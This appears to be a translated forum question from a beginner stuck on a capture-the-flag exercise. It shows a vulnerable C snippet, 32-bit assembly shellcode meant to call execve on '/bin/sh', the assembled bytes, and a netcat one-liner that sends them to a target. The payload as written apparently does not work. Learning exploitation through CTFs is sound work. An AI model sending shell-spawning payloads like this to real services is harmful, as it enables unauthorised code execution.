Я новичок в Shellcode, и я начал использовать CTF. Но я застрял в основном упражнении c.
Допустим, у меня есть программа. Эта программа дает мне адрес указателя execve: 0x8048450 Скажем, есть массив символов "\ bin \ sh", адрес которого у меня также есть: 0x80486a5
Уязвимый код:
char input[4096];
read(0, input, 4096);
((func)&input)();
Проблема в том, что у меня не так много информации о целевой архитектуре, потому что у меня нет двоичного файла, но я думаю, что он 32-разрядный.
Вот мой код:
section .text
global _start
_start:
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
mov eax, 0x80486a5
push eax
call 0x8048450
Затем я запускаю:
nasm -f elf -o shellcode.o shellcode.asm
и
ld -o shellcode shellcode.o -m elf_i386
, что дает
\xde\xde\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb8\xa5\x86\x04\x08\x50\xe8\xdd\x03\x00\x00
Я выполняю
python -c "print('\xde\xde\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb8\xa5\x86\x04\x08\x50\xe8\xdd\x03\x00\x00')" | nc target port
, но ничего , Нужно ли ставить сани NOP для выполнения байтового массива?
Спасибо, что читаете меня!